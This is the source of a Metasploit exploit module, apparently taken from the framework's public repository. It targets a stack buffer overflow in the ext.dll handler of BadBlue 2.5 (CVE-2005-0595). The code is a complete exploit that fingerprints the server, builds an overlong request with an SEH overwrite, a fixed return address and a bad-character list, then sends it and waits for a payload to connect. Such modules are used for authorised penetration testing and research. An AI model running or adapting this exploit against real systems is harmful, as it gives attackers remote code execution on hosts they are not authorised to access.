Path: blob/master/modules/exploits/windows/http/badblue_ext_overflow.rb
19512 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.9# However, a proper Server header is returned when requesting /index.html or using HEAD.10HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }1112include Msf::Exploit::Remote::HttpClient13include Msf::Exploit::Remote::Seh1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'BadBlue 2.5 EXT.dll Buffer Overflow',20'Description' => %q{21This is a stack buffer overflow exploit for BadBlue version 2.5.22},23'Author' => 'acaro <acaro[at]jervus.it>',24'License' => BSD_LICENSE,25'References' => [26[ 'CVE', '2005-0595' ],27[ 'OSVDB', '14238' ],28[ 'BID', '7387' ],29],30'DefaultOptions' => {31'EXITFUNC' => 'process',32},33'Privileged' => true,34'Payload' => {35'Space' => 500,36'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",37'StackAdjustment' => -3500,38},39'Platform' => 'win',40'Targets' => [41['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],42],43'DisclosureDate' => '2003-04-20',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)52end5354def check55info = http_fingerprint # check method56if (info =~ /BadBlue\/2\.5/)57return Exploit::CheckCode::Appears58end5960Exploit::CheckCode::Safe61end6263def exploit64uri = "GET /ext.dll?mfcisapicommand="65sploit = rand_text_alphanumeric(500)66seh = generate_seh_payload(target.ret)67sploit[492, seh.length] = seh68uri << sploit6970print_status("Trying target #{target.name}...")71send_request_raw({ 'uri' => uri })7273handler74end75end767778